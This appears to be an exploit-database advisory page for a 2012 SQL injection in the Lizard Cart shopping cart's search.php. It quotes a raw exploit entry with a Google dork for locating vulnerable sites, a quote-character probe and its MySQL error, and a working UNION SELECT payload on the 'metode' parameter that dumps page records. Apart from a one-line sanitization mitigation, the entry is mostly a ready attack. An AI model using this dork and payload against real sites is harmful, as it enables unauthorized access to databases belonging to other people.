lizard cart SQLi (search.php)

vendor:

Lizard Cart

by:

Number 7

7,5

CVSS

HIGH

SQL Injection

CWE

Product Name: Lizard Cart

Affected Version From: pp104

Affected Version To: pp104

Patch Exists: No

Related CWE: N/A

CPE: a:lizard_cart:lizard_cart

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Windows

2012

lizard cart SQLi (search.php)

Lizard Cart is vulnerable to SQL injection in the search.php page. An attacker can exploit this vulnerability by sending a malicious SQL query to the search.php page. This can be done by appending a malicious SQL query to the metode parameter in the URL. This will allow the attacker to view the contents of the database.

Mitigation:

Ensure that user input is properly sanitized and validated before being used in a SQL query.

Source

Exploit-DB raw data:

# Exploit Title: [lizard cart SQLi (search.php)]
# Google Dork: [inurl:search.php+intitle:"Lizard Cart"+intext:"Search Results:"]
# Date: [05-03-2012]
# Author: [Number 7]
# Software Link: [http://sourceforge.net/projects/lizardcart/files/latest/download?source=directory]
# Version: [pp104]
# Tested on: [Windows]
_____________________________________________________________________________________________
Usage:

http://localhost/liza/search.php?metode=1'

Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in C:\AppServ\www\liza\search.php on line 15

http://localhost/liza/search.php?metode=[SQLi]

search.php?metode=-1+union+select+1,2,concat(id,0x3e,page_title,0x3e,page_content),4,5,6,7,8+from+pages--

Demo:
htptp://localhost/liza/search.php?metode=-1+union+select+1,2,concat(id,0x3e,page_title,0x3e,page_content),4,5,6,7,8+from+pages--

_____________________________________________________________________________________________